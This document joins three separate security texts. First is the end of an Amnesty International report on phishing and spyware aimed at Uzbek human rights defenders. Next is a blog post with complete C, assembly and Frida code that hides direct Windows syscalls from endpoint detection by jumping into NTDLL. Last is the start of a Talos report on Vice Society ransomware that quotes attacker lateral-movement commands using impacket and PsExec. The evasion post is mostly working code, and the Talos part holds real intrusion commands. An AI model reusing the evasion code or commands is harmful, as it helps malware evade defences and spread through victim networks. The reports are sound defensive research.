In practice, a reverse proxy used for phishing will intercept all credentials and any two-factor authentication code (typically retrieved via SMS or an authenticator app) and deliver them to the legitimate service, such as; in this case, Google. The service will verify the credentials and, if correct, successfully authorize the victims to their accounts. However, because the reverse proxy is monitoring the connection between the victim and the legitimate service, the attackers are then able to steal any token generated to establish an authenticated session and reuse it to access the compromised account.
With this technique, attackers can bypass most forms of second factor authentication, except Security Keys, such as Yubikeys or SoloKeys, because these hardware tokens programmatically enter a temporary code for a preregistered website only for the verified legitimate domain. If a target is equipped with a Security Key, the phishing attack will fail because the key will refuse to authenticate on the malicious domain the attackers lured the target to.
## Windows Spyware
In addition to the phishing attacks, in May 2019 we also identified two malicious Windows installers hosted on the domain msoffice365[.]win, which appears linked to the previously described phishing campaign. Amnesty International identified an infected Adobe Flash Player installer and an infected Telegram Desktop installer, both deploying variants of the same spyware along with the legitimate software.
Once infected, the spyware toolkit used by the attackers will be capable of:
- Logging all key strokes;
- Taking screenshots of the desktop every few seconds;
- Stealing passwords and cookies;
All the harvested data would then be sent to an attackers-operated server located at hpphhpph[.]com. The toolkit is composed of a variety of scripts seemingly developed by the attackers, and a Trojan software derived from a well-known tool known as Quasar Rat.
## Android Spyware
During the investigation, we identified an Android spyware communicating with the domain garant-help[.]com, a Command and Control server we found linked to this campaign. This sample is an extended version of Droid-Watcher, an open-source Android spyware that was discontinued by its main developer in 2016. This sample seems largely based on the original Droid-Watcher code with some additional features and updates.
This spyware has the following features:
- Extract device information (configuration, IMEI, phone number, history of Wi-Fi networks, etc.);
- Monitor chat applications, including VKontakte, WhatsApp, Viber, Facebook, IMO, TamTam, Telegram;
- Monitor phone calls and text messages;
- Record phone calls;
- Record audio and video from the embedded microphone and cameras;
- Take screenshots;
- Monitor the clipboard;
- Monitor the geographical location of the device;
- Extract the browser history;
- Receive commands by text messages.
## Identification of Targets
While investigating the attackers’ infrastructure, we identified an open directory on one of the servers used to host phishing websites. This directory publicly exposed a collection of email templates, most likely used by the attackers to design and deliver the phishing emails to the respective targets. Most of these files came pre-compiled with the email addresses of targeted individuals.
Most of these emails were disguised as email alerts from services such as Google or Mail.ru. From these exposed templates, we identified 170 targeted accounts. Although we suspect them to represent only a subset of the complete list of individuals targeted in this campaign. Most targets we identified are part of universities or governmental organizations of countries neighboring Uzbekistan, along with several HRDs from Uzbekistan, who Amnesty International took steps to contact, notify, and support.
## Conclusion
This report documents that targeted surveillance remains a threat to HRDs in Uzbekistan. The UN Special Rapporteur on the right to Freedom of Expression, David Kaye, has called on states to impose an immediate moratorium on the export, sale, transfer, use, or servicing of privately developed surveillance tools until rigorous human rights safeguards are put in place to regulate such practices. Amnesty International supports this call. As the Special Rapporteur has noted, "It is insufficient to say that a comprehensive system for control and use of targeted surveillance technologies is broken. It hardly exists."
This call is especially urgent in the context of Uzbekistan where the legal framework for secret surveillance provides insufficient safeguards against abuse and where direct state access to data is facilitated by the SORM system (a system allowing state authorities to directly access communication and associated data). It is well-established that, "even the mere possibility of communications information being captured creates an interference with privacy, with a potential chilling effect on rights, including those to free expression and association." Where – as in Uzbekistan – states fail to put in place adequate safeguards, these chilling effects will lead to an environment in which HRDs cannot realize their rights and struggle to do their job effectively and in safety.
If you believe you have been targeted with attacks similar to the ones described here, or if you are a Human Rights Defender working on Uzbekistan and you think you may be targeted by a similar operation, please contact us at:
## Recommendations
### To the Government of Uzbekistan:
- Reform laws to bring the legal regime and related surveillance practices in line with international human rights law and standards.
### To Other Governments:
- Impose an immediate moratorium on the export, sale, transfer, use, or servicing of privately developed surveillance tools until a human rights compliant safeguards regime is in place.
### To Companies:
- Put in place robust safeguards to ensure that any use of their products or services is compliant with human rights standards.
### To Users:
As we have been reporting since December 2018, techniques to bypass common forms of two-factor authentication are becoming increasingly popular among attackers. Targeted individuals at risk should consider equipping themselves with hardware Security Keys, also known as U2F keys, and enable them wherever possible. With online services, which do not support Security Keys yet, we nevertheless recommend enabling any other less resilient form of two-factor authentication available. For example, secondary verification using codes delivered via SMS or an authenticator app still provides better security than none at all, and can help thwart casual phishing or password reuse.
## Appendix: Technical Details on the Investigation
### Phishing Using Reverse Proxies
This group is largely relying on phishing attacks: we have identified 71 domains hosting phishing websites between May and September 2019. Originally, this group used HTML copies of login pages for phishing. In June 2019, we observed the utilization of a new tool that acted as a reverse proxy between the domains and the actual platforms in order to hijack sessions. We believe that the attackers relied on a custom-made JavaScript phishing tool.
One proof that these phishing domains were using reverse proxy technique is that we could fully interact with the Google platform through the fake domain. For instance, we could use the query "what is my IP?" to get the IP address of the reverse proxy server from the Google search engine.
At the same time we saw this change in the phishing toolkit, we started to see more and more domains mimicking and proxying traffic to bank and cryptocurrency websites. The phishing domains and websites observed by eQualit.ie since 2016 and by us from May 2019 almost only copied large email providers (mostly Gmail, but also Yandex or Yahoo). From May 2019 to July 2019, we started to see the attackers register and use domains imitating bank and cryptocurrency websites. We could attribute these domains to the same attacker network because they were hosted on the same servers that hosted other phishing domains.
### Windows Malware
In May 2019, we identified two backdoored Windows installers hosted on the domain msoffice365[.]win, one Adobe Flash Player installer and one Telegram Desktop installer, both installing variants of the same malicious toolkit along with the legitimate software. Both of these malicious samples rely on a set of vbs scripts and DLL to gather information on the system and send it to the domain hpphhpph[.]com.
The Fake Adobe Flash Player installs the following files:
- In C:\Program Files (x86)\Adobe Company\Adobe Flash Player
- Adobe Flash Player Updater.vbs
- flashplayer31pp_ka_install.exe (Legitimate Flash Player installer)
- Uninstall.exe (Legitimate Uninstaller)
- Uninstall.ini (Legitimate Uninstaller info file)
- In C:\Users\User\AppData\Roaming\Microsoft\Adobe Flash Player
- Adobe Flash Player.dll
- Adobe Flash Player Key.vbs
During the installation, the malicious script Adobe Flash Player Updater.vbs is launched along with the legitimate installer flashplayer31pp_ka_install.exe. Adobe Flash Player Updater.vbs is a VBS script in charge of registering a new compromised device to the Command & Control server, gathering information on the host (information on the device, list of applications, logs of Telegram chats, Firefox, The Bat email client and Total Commander FTP credentials, Chrome, Firefox, and Opera history) and scheduling tasks to have Adobe Flash Player Updater.vbs and Adobe Flash Player Key.vbs launched every minute. Adobe Flash Player Key.vbs is a VBS script that launches Adobe Flash Player.dll, a tool that takes a screenshot of the screen every second and runs a KeyLogger, and then sends the images and keystrokes taken to the C&C server.
The Telegram Installer relies on a variant of the same scripts with a few additional tools:
- GoogleUpdateTaskMachineKernel.vbs: a script to download additional modules from the C&C server and run them through scheduled tasks.
### Android Malware
During our enumeration of the infrastructure, we identified an Android spyware communicating with one of the domains of this operation (garant-help[.]com) as Command and Control server. This sample is an improved version of Droid-Watcher, an open-source Android malware that was discontinued by its main developer in 2016. One update from Droid-Watcher is that this malware retrieves the location of the Command and Control server to communicate with, from an encoded string included in the description of a Twitter account registered at @Worldwi81061401 (we have notified Twitter about this account, which was later suspended).
## Indicators of Compromise
We are releasing here indicators of compromise for this campaign. If you think you have been targeted by this campaign, or if you have some information on this operation, please contact us at. You can find a full list of indicators of compromise on this GitHub repository: [GitHub Repository](https://github.com/AmnestyTech/investigations/tree/master/2020-03-12_uzbekistan).
|
# Hiding Your Syscalls
I’ve previously blogged about using Frida to detect direct syscalls by looking for any syscall instructions originating from outside of NTDLL. After writing some basic detections for that purpose, I was curious about how easy it would be to bypass those detections. The answer was very!
I’d like to note up top here that in this blog I’ll just be bypassing detections that I wrote myself. To the best of my knowledge, EDR vendors aren’t really alerting on direct syscalls yet. You can find all of the source code for this blog post here.
## Basic detection methodology
I’ll briefly recap the detections that I used in the previous post to detect the use of direct syscalls. All syscalls in NTDLL follow a basic structure:
```
mov r10, rcx
mov eax, *syscall number*
syscall
ret
```
In the previous post, I described two detections here. The first is that we could look for the “mov r10, rcx” instruction and then inspect the next instruction to determine if it was a syscall, since this allowed me to inspect the syscall number. I’ve since scrapped this idea since we can just inspect the EAX register and pull the syscall number out of there when we find a syscall. Additionally, this is an incredibly easy detection to bypass. Instead of moving the value in the R10 register into the RCX register, we could do the following instead:
```
mov r11, r10
mov rcx, r11
```
And we could expand that into an incredibly complicated series of instructions if we wanted to. The same goes for detecting based on placing a syscall number into EAX. Instead of moving the syscall into EAX, we could copy the above and just add an extra step. The OS doesn’t really care so long as there’s a syscall number in EAX when it transitions to the kernel.
```
mov r11, *syscall number*
mov eax, r11
```
I actually think this is kind of cool to bypass because it’s reminiscent of bypassing the signature-based detection from days of anti-virus past.
Since we can’t rely on this, we can instead target the one instruction that all syscalls must call by definition: syscall! We also need to look out for the int 2eh instruction which is the legacy way of invoking a syscall, but it’s the same logic.
As I mentioned up top, we can attempt to detect this by looking for any syscall instructions that originate from outside of NTDLL’s address space. I tested this detection against two types of programs: one that reads NTDLL from disk and dynamically resolves syscalls, and one that has a syscall table embedded at compile time (a la Syswhispers). In both cases, I was able to detect the use of manual system calls.
## Detection on disk
One thing I didn’t talk about in the last blog post was trying to determine if an executable is using direct syscalls while it’s sitting on disk. At the time, I was more interested in identifying this behavior in-memory, but there are many situations where you may have a suspicious binary on disk. Whether that’s a PE/shellcode carved out of memory or an executable dropped to disk, we can take an identical approach as above to identify direct syscalls in use. We can do this just with `objdump` and `grep` in the case of a plain PE.
I’ve got a compiled copy of Dumpert on disk to test this with.
```
objdump --disassemble -M intel Outflank-Dumpert.exe | grep "syscall"
```
And the output:
```
140013438: 0f 05 syscall
140013443: 0f 05 syscall
14001344e: 0f 05 syscall
[truncated]
14001356c: 0f 05 syscall
140013577: 0f 05 syscall
140013582: 0f 05 syscall
```
I ran this same command against a few other binaries to check for massive false positives. I checked calc, notepad, Chrome, etc., and none of them triggered this behavior. I was also curious whether or not this would work on a project using stubs generated by Syswhispers, so I went ahead and compiled a project using the files from the example-output folder in the Syswhispers2 repo and a main function which used the code from the CreateRemoteThread injection example.
And it looks good. I think that all things considered this is actually a pretty free win with some pretty boring static analysis. We can also detect “int 2eh” invocations in the same manner to cover all the bases.
## Back to memory
Anyways, back to detecting syscalls at runtime since on-disk detection does us no good with fileless malware. My methodology in the last post was to look for any syscall instructions and then check if they originated from within the bounds of NTDLL. If it didn’t originate from NTDLL, then it’s very likely that it was invoked manually. I’m sure there are exceptions to this, but since you’re likely running this sort of detection against a suspected bad file, we can take some liberties in this regard.
## Bypassing this detection
When an EDR hooks a function, they often replace the first instruction with a JMP instruction to their own code. So if an EDR were to hook a syscall in NTDLL, it would look like this:
```
jmp *address of EDR's function*
mov eax, *syscall number*
syscall
ret
```
So if we follow this model of hooking, there’s a nice syscall instruction just sitting there within NTDLL! Additionally, I have yet to see an EDR that hooks every function in NTDLL. For reference, you can check out Mr-Un1k0d3r’s EDR repository, which contains a list of the NTDLL functions that are hooked by several EDR vendors. There’s very little reason to hook every function, as only a subset of them are traditionally used by malware.
So in order for there not to be a clean syscall somewhere, the EDR would have to hook every function in NTDLL AND clobber the entire function.
My theory was that in order to bypass the detection, we could simply grab an unhooked syscall stub (or just any clean syscall instruction) from NTDLL, get the address of the actual syscall instruction, and patch a jump to it into our malicious syscall so that our stub will now look as follows:
```
mov r10, rcx
mov eax, *syscall number*
jmp *address of legit syscall instruction*
ret
```
## Obfuscating on disk
Before I talk about implementing this, I was curious whether or not this method would also help us avoid including syscall instructions in our binary. Since we’re just going to overwrite the syscall instruction anyways, we don’t need to have it in the stub. So we can just replace it with whatever to avoid having the syscall instruction show up in the disassembly.
```
mov r10, rcx
mov eax, 55h
nop //where our syscall should be
ret
```
The nop instruction will get replaced with a jmp at runtime so nothing will show up if we use the same objdump command as earlier. I think if you’re dropping to disk, it may actually be worth it to obfuscate your syscall instructions and reconstruct them at runtime even if you just replace the nop with a normal syscall instruction. I doubt that any EDR currently alerts on this, but it seems like a free win to me.
## Implementation
To implement this, I took the Dumpert project and used that as a base. You could generate the necessary files using Syswhispers, but I used the files from Dumpert because it just has the plain syscall stubs embedded which offered slightly lower complexity. However, the same thing could be done with a Syswhispers project by changing a few variables. (I ended up doing that after finishing this post, check out the section at the bottom)
I used NtCreateFile as a proof of concept syscall since it creates a file that I can observe. To get the stub you’ll want to create a file named “Syscalls.asm” and add the following (assuming you’re on Windows 10):
```
.code
NtCreateFile10 proc
mov r10, rcx
mov eax, 55h
syscall
ret
NtCreateFile10 endp
end
```
In order to include this file in Visual Studio, you’ll want to select the project in the Solution Explorer, and then in the toolbar select Project > Build Customizations and check “masm” then OK. Then in the Solution Explorer right-click on Syscalls.asm and set the Item Type to “Microsoft Macro Assembler”. This should include your assembly into the build.
The next few blocks of code are from this post on ired.team about resolving syscalls dynamically, with some slight modifications.
In our header file:
```c
#pragma once
#include <Windows.h>
#define STATUS_SUCCESS 0
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
typedef LONG KPRIORITY;
#define InitializeObjectAttributes( i, o, a, r, s ) { \
(i)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(i)->RootDirectory = r; \
(i)->Attributes = a; \
(i)->ObjectName = o; \
(i)->SecurityDescriptor = s; \
(i)->SecurityQualityOfService = NULL; \
}
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef const UNICODE_STRING* PCUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
LONG Status;
PVOID Pointer;
};
ULONG Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
EXTERN_C NTSTATUS NtCreateFile10(PHANDLE FileHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER
AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition,
ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
NTSTATUS(*NtCreateFile)(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
);
typedef void (WINAPI* _RtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
```
This defines some structs that we need to call NtCreateFile as well as our NtCreateFile function prototype.
In our actual C file, we’ll define a big ol’ block of variables within our main function.
```c
SIZE_T bytesWritten = 0;
DWORD oldProtection = 0;
HANDLE file = NULL;
DWORD fileSize = NULL;
DWORD bytesRead = NULL;
LPVOID fileData = NULL;
// variables for NtCreateFile
OBJECT_ATTRIBUTES oa;
HANDLE fileHandle = NULL;
NTSTATUS status = NULL;
UNICODE_STRING fileName;
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\temp.log");
IO_STATUS_BLOCK osb;
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
```
Then we’ll need to get the address of NTDLL and parse some information out of it. We’re going to use all this info to find the syscalls.
```c
//Get NTDLL address
HANDLE process = GetCurrentProcess();
MODULEINFO mi;
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = mi.lpBaseOfDll;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase +
dosHeader->e_lfanew);
DWORD exportDirRVA = imageNTHeaders->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(imageNTHeaders);
PIMAGE_SECTION_HEADER textSection = section;
PIMAGE_SECTION_HEADER rdataSection = section;
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
{
if (strcmp((CHAR*)section->Name, (CHAR*)".rdata") == 0) {
rdataSection = section;
break;
}
section++;
}
PIMAGE_EXPORT_DIRECTORY exportDirectory =
(PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)ntdllBase + exportDirRVA,
rdataSection);
```
This will get a handle to NTDLL and grab the base address. Using that base address, we can parse out all of the headers and sections. Now we can modify the function that resolves the syscall stubs to grab the first one.
```c
PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
return (PVOID)RVA;
}
LPVOID GetFirstStub(PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData,
PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection)
{
PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *
(&exportDirectory->AddressOfNames), rdataSection);
PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *
(&exportDirectory->AddressOfFunctions), rdataSection);
for (int i = 0; i < exportDirectory->NumberOfNames; i++)
{
DWORD_PTR functionNameVA =
(DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfNames[i], rdataSection);
DWORD_PTR functionVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData
+ addressOfFunctions[i + 1], textSection);
LPCSTR functionNameResolved = (LPCSTR)functionNameVA;
if (functionNameResolved[0] == 'N' && functionNameResolved[1] == 't')
{
return (LPVOID)functionVA;
}
}
return (LPVOID)NULL;
}
```
The original code would parse NTDLL for a given function, copy it into a buffer, and then return true. However, in this case, we don’t need the whole stub; we just need the address of it. The above code will just grab the first Nt function, but it could easily be adjusted to grab a given function that we know won’t be hooked or just a random NTDLL function.
```c
LPVOID ntdllSyscallPointer = GetFirstStub(exportDirectory, ntdllBase, textSection,
rdataSection);
```
Now that we have a pointer to a legit syscall, we can write a function to patch our syscall with a jump to the legit syscall.
```c
char* createObfuscatedSyscall(LPVOID SyscallFunction, LPVOID ntdllSyscallPointer) {
//Get the address of the syscall instruction
LPVOID syscallAddress = (char*)ntdllSyscallPointer + 18;
//construct a trampoline
unsigned char jumpPrelude[] = { 0x00, 0x49, 0xBB }; //mov r11
unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE,
0xEF }; //placeholder where the address goes
*(void**)(jumpAddress) = syscallAddress; //replace the address
unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3 , 0xC3 }; //jmp r11
//Copy it all into a final buffer
char finalSyscall[30];
memcpy(finalSyscall, SyscallFunction, 7);
memcpy(finalSyscall + 7, jumpPrelude, 3);
memcpy(finalSyscall + 7 + 3, jumpAddress, sizeof(jumpAddress));
memcpy(finalSyscall + 7 + 3 + 8, jumpEpilogue, 4);
//Make sure that we can execute
DWORD oldProtect = NULL;
VirtualProtectEx(GetCurrentProcess(), &finalSyscall, sizeof(finalSyscall),
PAGE_EXECUTE_READWRITE, &oldProtect);
return &finalSyscall;
}
```
This looks a little convoluted, but the underlying principle is:
- Construct some assembly bytes which will store our syscall address into the R11 register and then JMP to it.
- Insert the address of the syscall in NTDLL into the jmp.
- Copy all of that into a buffer.
- Give that buffer executable permissions and return it to the user.
Then we can call the function providing the NtCreateFile10 assembly stub and a pointer to the legit NTDLL syscall.
```c
NtCreateFile = createObfuscatedSyscall(&NtCreateFile10, ntdllSyscallPointer);
```
Assuming this works, we can then call NtCreateFile normally.
```c
status = NtCreateFile(&fileHandle, FILE_GENERIC_WRITE, &oa, &osb, 0,
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (status != STATUS_SUCCESS) {
printf("Syscall failed...\n");
}
else {
printf("Syscall succeeded!\n");
}
return 0;
```
And there you have it! All of the code necessary in order to:
- Parse NTDLL for an arbitrary syscall stub.
- Get the address of the legit syscall instruction.
- Patch our malicious syscall stub with a JMP to the legit syscall.
- Call our function which will jmp to NTDLL for the syscall.
Note: One very important thing that I spent forever figuring out is that you need to DISABLE Incremental Linking. If you do not, then VS will construct a jump table which will ruin any attempts to access the embedded NtCreateFile stub. You can do this by right-clicking the project, selecting Linker > General and setting Enable Incremental Linking to No. There’s probably a way around this, but I have not found it.
## Testing
So, moment of truth! Does this bypass actually work? We’ll need a Frida script to verify if this bypasses our detection.
```javascript
var modules = Process.enumerateModules()
var ntdll = modules[1]
var ntdllBase = ntdll.base
send("[*] Ntdll base: " + ntdllBase)
var ntdllOffset = ntdllBase.add(ntdll.size)
send("[*] Ntdll end: " + ntdllOffset)
var pNtAcceptConnectPort = Module.findExportByName('ntdll.dll',
'NtAcceptConnectPort');
Interceptor.attach(pNtAcceptConnectPort, {
onEnter: function (args){}
})
const mainThread = Process.enumerateThreads()[0];
Process.enumerateThreads().map(t => {
Stalker.follow(t.id, {
events: {
call: false, // CALL instructions: yes please
ret: false, // RET instructions
exec: false, // all instructions: not recommended as it's
// a lot of data
block: false, // block executed: coarse execution trace
compile: false // block compiled: useful for coverage
},
onReceive(events) {
},
transform(iterator){
let instruction = iterator.next()
do{
if(instruction.mnemonic == "syscall"){
var addrInt = instruction.address.toInt32()
//If the syscall is coming from somewhere outside the bounds of NTDLL
//then it may be malicious
if(addrInt < ntdllBase.toInt32() || addrInt > ntdllOffset.toInt32()){
send("[+] Found a potentially malicious syscall")
iterator.putCallout(onMatch)
}
}
iterator.keep()
} while ((instruction = iterator.next()) !== null)
}
})
})
function onMatch(context){
send("[+] Syscall number: " + context.rax)
}
```
The above script will:
- Resolve the bounds of NTDLL.
- Place a hook on NtAcceptConnectPort. This is the first Nt function and will help us verify that even if there is a hook placed on the function, then the syscall should be intact.
- Add a Stalker to every thread which will check every instruction to see if it is a syscall.
- If it is, then we’ll check if it’s within the bounds of NTDLL. If it’s outside of NTDLL, then we will attach a callout to it which will look at the EAX register and tell us what the syscall number is. Then we’ll inform the user of the malicious syscall.
If instead of calling our createObfuscatedSyscall function we just call the syscall normally:
```c
NtCreateFile = &NtCreateFile10;
NtCreateFile(...)
```
Then it should be detected.
```
[?] Attempting process start..
[+] Injecting => PID: 16308, Name:
C:\Users\pcuser\source\repos\suspendedunhook\x64\Debug\find_syscall_address.exe
[+] Process start success
[*] Ntdll base: 0x7ffd31970000
[*] Ntdll end: 0x7ffd31b65000
[+] Found a potentially malicious syscall
[+] Syscall number: 0x55
```
However, if we do call createObfuscatedSyscall:
```
[?] Attempting process start..
[+] Injecting => PID: 5320, Name:
C:\Users\pcuser\source\repos\suspendedunhook\x64\Debug\find_syscall_address.exe
[+] Process start success
[*] Ntdll base: 0x7ffd31970000
[*] Ntdll end: 0x7ffd31b65000
```
Then we get a clean bill of health! It appears as though we’ve successfully bypassed any detection that looks for syscall instructions originating outside of NTDLL.
## Integrating with Syswhispers
I originally was just using the syscall stubs from the Dumpert project, but after I got that working, I figured I should probably also make this work with Syswhispers since that’s the predominant method for including syscall stubs into a VS project. In fact, we only have to make one modification to the stubs generated by Syswhispers, which is to add a bunch of nops to the end of each stub to make room for the extra instructions that we need to add. They don’t have to be nops necessarily, so long as we have an extra 11 bytes.
Also, instead of creating a new buffer and returning that, we’ll need to directly modify the Syswhispers stub. So `createObfuscatedSyscall` will now look like this.
```c
void createObfuscatedSyscall(LPVOID SyscallFunction, LPVOID ntdllSyscallPointer) {
//Get the address of the syscall instruction
LPVOID syscallAddress = (char*)ntdllSyscallPointer + 18;
unsigned char jumpPrelude[] = { 0x49, 0xBB }; //mov r11
unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE,
0xEF }; //placeholder where the address goes
*(void**)(jumpAddress) = syscallAddress; //replace the address
unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3 , 0xC3 }; //jmp r11
DWORD oldProtect = NULL;
VirtualProtectEx(GetCurrentProcess(), SyscallFunction, 61 + 2 + 8 + 4,
PAGE_READWRITE, &oldProtect);
memcpy((char*)SyscallFunction + 61, jumpPrelude, 2);
memcpy((char*)SyscallFunction + 61 + 2, jumpAddress, sizeof(jumpAddress));
memcpy((char*)SyscallFunction + 61 + 2 + 8, jumpEpilogue, 4);
VirtualProtectEx(GetCurrentProcess(), SyscallFunction, 61 + 2 + 8 + 4,
oldProtect, &oldProtect);
}
```
There’s probably a more elegant solution to this, but I was happy with a quick proof of concept.
## Conclusion
There is a compelling argument to be made that this is a solution for a non-existent problem. To the best of my knowledge, EDR vendors have not really begun picking up on direct syscalls. They may get finicky when it comes to reading NTDLL from disk, but for syscalls included at compile time, I have not heard about any sort of detections. However, I think that it is a good exercise to dig into our tooling in this manner. Personally, I’ve learned a LOT about syscalls and upped my assembly skills a bit from hacking on this.
## References
- Syswhispers2 - JacksonT
- Dumpert - OutflankNL
- Retrieving NTDLL Syscall Stubs from Disk at Run-time - spotheplanet
- Mr-Un1k0d3r - EDRs
|
# Vice Society leverages PrintNightmare in ransomware attacks
## Executive Summary
Another threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent ransomware attack, according to Cisco Talos Incident Response research. While previous research found that other threat actors had been exploiting this vulnerability, this appears to be new for the threat actor Vice Society. Talos Incident Response's research demonstrates that multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward. For defenders, it is important to understand the attack lifecycle leading up to the deployment of ransomware. If users have not already, they should download the latest patch for PrintNightmare from Microsoft.
In this post, we'll analyze the various TTPs used in a recent ransomware attack from Vice Society that leveraged this vulnerability. Many of these same TTPs are commonly observed in other ransomware attacks, such as a previously published analysis of a WastedLocker attack.
## Who is Vice Society?
Vice Society is a relatively new player in the ransomware space. They emerged in mid-2021 and have been observed launching big-game hunting and double-extortion attacks, primarily targeting small or midsize victims. This group also has notably targeted public school districts and other educational institutions. As they are a new actor in this space, Vice Society's TTPs are difficult to quantify. However, based on incident response observations, they are quick to leverage new vulnerabilities for lateral movement and persistence on a victim's network. They also attempt to be innovative on endpoint detection response bypasses.
As with other threat actors operating in the big-game hunting space, Vice Society operates a data leak site, which they use to publish data exfiltrated from victims who do not choose to pay their extortion demands.
## Recent attack methodology
Throughout the course of our analysis of a recent human-operated ransomware attack associated with Vice Society, we observed several notable tactics, techniques, and procedures (TTPs) used throughout each stage of the attack lifecycle. Some of the most interesting characteristics of this attack were:
- The use of utilities such as proxychains and impacket during the post-compromise phases of the attack lifecycle.
- The targeting of backups to prevent recovery following ransomware deployment.
- The degradation of ESXi servers used for virtualization in victim environments.
- The use of a DLL that takes advantage of the recently discovered PrintNightmare vulnerability for which Microsoft has previously released a security update.
- Attempts to bypass native Windows protections for credential theft and privilege escalation.
Below are some key examples of the TTPs used in this attack as they relate to the Mitre ATT&CK Framework.
### Discovery
**ATT&CK Technique:** System Owner/User Discovery (T1033)
**ATT&CK Technique:** Account Discovery (T1087)
**ATT&CK Technique:** Domain Trust Discovery (T1482)
Once initial access was achieved, several techniques were observed being leveraged to conduct post-compromise discovery and reconnaissance within the environment. We observed attempts to access the backup solution employed in the environment, likely to prevent the organization from successfully recovering without paying the demanded ransom. The "sudo" command was used to obtain credentials associated with a commercial backup solution, likely trying to gain access to backups present within the environment.
```bash
sudo -s -k -p [Backup Prompt] whoami
```
We also observed the use of impacket, a common network protocol manipulation tool to enumerate the environment and obtain additional information about the Active Directory configuration in place. This is typically done to identify high-value targets that may be attractive, as attacks attempt to maximize their sphere of influence over as much of the environment as possible prior to eventually deploying ransomware and making their presence known. Below are some examples of the command line syntax used for the performance of this activity.
```bash
cmd.exe /q /c net group enterprise admins /domain 1> \\127.0.0.1\admin$\__[STRING] 2>&1
cmd.exe /q /c net group domain admins /domain 1> \\127.0.0.1\admin$\__[STRING] 2>&1
```
We observed enumeration of the domain trust relationships present within the environment. The adversaries used the "nltest" command for this purpose.
```bash
c:\windows\system32\nltest.exe /dclist:linux [HOSTNAME]
```
### Execution
**ATT&CK Technique:** Command and Scripting Interpreter: Windows Command Shell (T1059.003)
**ATT&CK Technique:** Command and Scripting Interpreter: PowerShell (T1059.001)
**ATT&CK Technique:** Windows Management Instrumentation (T1047)
**ATT&CK Technique:** System Services: Service Execution (T1569.002)
Similar to what was observed during the post-compromise reconnaissance phase of the attack, the adversary used impacket to execute Windows Management Instrumentation (WMI) to achieve command execution on other systems present in the environment. The attacker also used the "proxychains" utility, which is often employed to redirect network traffic during penetration testing, red teaming, and other offensive operations.
```bash
cmd.exe /q /c proxychains ~/impacket/examples/wmiexec.py -hashes [SHA256 HASH] [USERNAME]@[IP ADDRESS] 1> \\127.0.0.1\admin$\__[STRING] 2>&1
```
We also observed the adversary using Windows Batch files to execute PSExec. In this case, PSExec remotely authenticated and executed PowerShell on remote systems within the environment.
```bash
cmd.exe /c C:\s$\0.bat PsExec.exe -d \\[HOSTNAME] -u [DOMAIN]\[USERNAME] -p [PASSWORD] -accepteula -s cmd /c powershell.exe -ExecutionPolicy Bypass -file \\[HOSTNAME]\s$\p.ps1
```
